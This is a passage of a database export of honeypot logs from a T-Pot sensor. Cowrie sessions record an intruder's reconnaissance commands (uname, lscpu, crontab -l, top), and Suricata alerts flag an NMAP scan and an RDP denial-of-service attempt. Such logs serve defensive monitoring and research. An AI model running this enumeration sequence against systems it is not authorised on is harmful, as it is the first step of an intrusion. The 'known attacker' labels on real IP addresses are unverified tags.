32585	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:08.895269+03	2021-09-20 15:00:03.673717+03	{"_id": "bQYNA3wBvYTbRNuEgEvz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "src_ip": "96.78.175.36", "ttylog": "log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0 seconds", "session": "0d206a306e54", "@version": "1", "duration": 0.37108683586120605, "duplicate": true, "timestamp": "2021-09-20T11:53:08.895269Z", "@timestamp": "2021-09-20T11:53:08.895Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32586	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:14.210013+03	2021-09-20 15:00:03.674717+03	{"_id": "iAYNA3wBvYTbRNuEmEtm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "96.78.175.36", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "0d206a306e54", "@version": "1", "duration": 0.37169456481933594, "duplicate": true, "timestamp": "2021-09-20T11:53:14.210013Z", "@timestamp": "2021-09-20T11:53:14.210Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32587	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:14.476104+03	2021-09-20 15:00:03.675717+03	{"_id": "iQYNA3wBvYTbRNuEmEtm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:14.476104Z", "@timestamp": "2021-09-20T11:53:14.476Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32588	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:14.476649+03	2021-09-20 15:00:03.677716+03	{"_id": "igYNA3wBvYTbRNuEmEtm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:14.476649Z", "@timestamp": "2021-09-20T11:53:14.476Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32589	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:53:15.000575+03	2021-09-20 15:00:03.678717+03	{"_id": "jAYNA3wBvYTbRNuEmUvX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:52:13.527706+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 355477094206810, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 64323, "timestamp": "2021-09-20T11:53:15.000575Z", "@timestamp": "2021-09-20T11:53:15.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
32590	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:15.138036+03	2021-09-20 15:00:03.679716+03	{"_id": "kgYNA3wBvYTbRNuEnEtP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:15.138036Z", "@timestamp": "2021-09-20T11:53:15.138Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32591	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:15.81472+03	2021-09-20 15:00:03.680716+03	{"_id": "lgYNA3wBvYTbRNuEnEtQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:15.814720Z", "@timestamp": "2021-09-20T11:53:15.814Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32592	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:15.509569+03	2021-09-20 15:00:03.681716+03	{"_id": "lAYNA3wBvYTbRNuEnEtP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "96.78.175.36", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "0d206a306e54", "@version": "1", "duration": 0.3716146945953369, "duplicate": true, "timestamp": "2021-09-20T11:53:15.509569Z", "@timestamp": "2021-09-20T11:53:15.509Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32593	52.227.142.191	109.199.241.180	Suricata	2021-09-20 14:53:16.125116+03	2021-09-20 15:00:03.683717+03	{"_id": "mAYNA3wBvYTbRNuEnUu_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:53:16.125116+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 3, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN NMAP -sS window 1024", "signature_id": 2009582}, "geoip": {"ip": "52.227.142.191", "asn": 8075, "as_org": "Microsoft Corporation", "dma_code": 560, "latitude": 36.6534, "location": {"lat": 36.6534, "lon": -78.375}, "timezone": "America/New_York", "city_name": "Boydton", "longitude": -78.375, "postal_code": "23917", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "52.227.142.191", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 671846536898748, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 57523, "dest_port": 3389, "timestamp": "2021-09-20T11:53:16.125116Z", "@timestamp": "2021-09-20T11:53:16.125Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32594	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:16.484379+03	2021-09-20 15:00:03.684717+03	{"_id": "ngYNA3wBvYTbRNuEoEs3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:16.484379Z", "@timestamp": "2021-09-20T11:53:16.484Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32595	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:16.853589+03	2021-09-20 15:00:03.685717+03	{"_id": "nQYNA3wBvYTbRNuEoEs3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "96.78.175.36", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "0d206a306e54", "@version": "1", "duration": 0.3692965507507324, "duplicate": true, "timestamp": "2021-09-20T11:53:16.853589Z", "@timestamp": "2021-09-20T11:53:16.853Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32596	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:17.176689+03	2021-09-20 15:00:03.686716+03	{"_id": "pQYNA3wBvYTbRNuEpEsg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:17.176689Z", "@timestamp": "2021-09-20T11:53:17.176Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32597	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:17.854594+03	2021-09-20 15:00:03.687718+03	{"_id": "pwYNA3wBvYTbRNuEpEsg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:17.854594Z", "@timestamp": "2021-09-20T11:53:17.854Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32598	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:14.84448+03	2021-09-20 15:00:03.689716+03	{"_id": "iwYNA3wBvYTbRNuEmEtm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "96.78.175.36", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "0d206a306e54", "@version": "1", "duration": 0.3684654235839844, "duplicate": true, "timestamp": "2021-09-20T11:53:14.844480Z", "@timestamp": "2021-09-20T11:53:14.844Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32751	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:24.622035+03	2021-09-20 15:00:03.880722+03	{"_id": "IQYNA3wBvYTbRNuEv0x_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:24.622035Z", "@timestamp": "2021-09-20T11:53:24.622Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32599	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:15.81418+03	2021-09-20 15:00:03.690716+03	{"_id": "lQYNA3wBvYTbRNuEnEtQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:15.814180Z", "@timestamp": "2021-09-20T11:53:15.814Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32600	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:15.138579+03	2021-09-20 15:00:03.691716+03	{"_id": "kwYNA3wBvYTbRNuEnEtP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:15.138579Z", "@timestamp": "2021-09-20T11:53:15.138Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32601	52.227.142.191	109.199.241.180	Suricata	2021-09-20 14:53:16.241352+03	2021-09-20 15:00:03.692716+03	{"_id": "mQYNA3wBvYTbRNuEnUu_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:53:16.125116+0000", "pkts_toclient": 1, "pkts_toserver": 2, "bytes_toclient": 58, "bytes_toserver": 120}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "cve_id": "CVE-2012-0152", "category": "Attempted Denial of Service", "metadata": {"created_at": ["2012_03_13"], "updated_at": ["2012_03_13"]}, "severity": 2, "signature": "ET DOS Microsoft Remote Desktop (RDP) Syn then Reset 30 Second DoS Attempt", "signature_id": 2014384}, "geoip": {"ip": "52.227.142.191", "asn": 8075, "as_org": "Microsoft Corporation", "dma_code": 560, "latitude": 36.6534, "location": {"lat": 36.6534, "lon": -78.375}, "timezone": "America/New_York", "city_name": "Boydton", "longitude": -78.375, "postal_code": "23917", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "52.227.142.191", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 671846536898748, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 57523, "dest_port": 3389, "timestamp": "2021-09-20T11:53:16.241352Z", "@timestamp": "2021-09-20T11:53:16.241Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32602	52.227.142.191	109.199.241.180	Suricata	2021-09-20 14:53:16.241352+03	2021-09-20 15:00:03.693716+03	{"_id": "lwYNA3wBvYTbRNuEnUu_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:53:16.125116+0000", "pkts_toclient": 1, "pkts_toserver": 2, "bytes_toclient": 58, "bytes_toserver": 120}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM Packet with broken ack", "signature_id": 2210051}, "geoip": {"ip": "52.227.142.191", "asn": 8075, "as_org": "Microsoft Corporation", "dma_code": 560, "latitude": 36.6534, "location": {"lat": 36.6534, "lon": -78.375}, "timezone": "America/New_York", "city_name": "Boydton", "longitude": -78.375, "postal_code": "23917", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "52.227.142.191", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 671846536898748, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 57523, "dest_port": 3389, "timestamp": "2021-09-20T11:53:16.241352Z", "@timestamp": "2021-09-20T11:53:16.241Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32603	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:16.184643+03	2021-09-20 15:00:03.695716+03	{"_id": "oAYNA3wBvYTbRNuEoEs3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "96.78.175.36", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "0d206a306e54", "@version": "1", "duration": 0.3705482482910156, "duplicate": true, "timestamp": "2021-09-20T11:53:16.184643Z", "@timestamp": "2021-09-20T11:53:16.184Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32604	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:16.484923+03	2021-09-20 15:00:03.696716+03	{"_id": "nwYNA3wBvYTbRNuEoEs3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:16.484923Z", "@timestamp": "2021-09-20T11:53:16.484Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32605	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:17.553215+03	2021-09-20 15:00:03.697716+03	{"_id": "pAYNA3wBvYTbRNuEpEsg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "96.78.175.36", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: 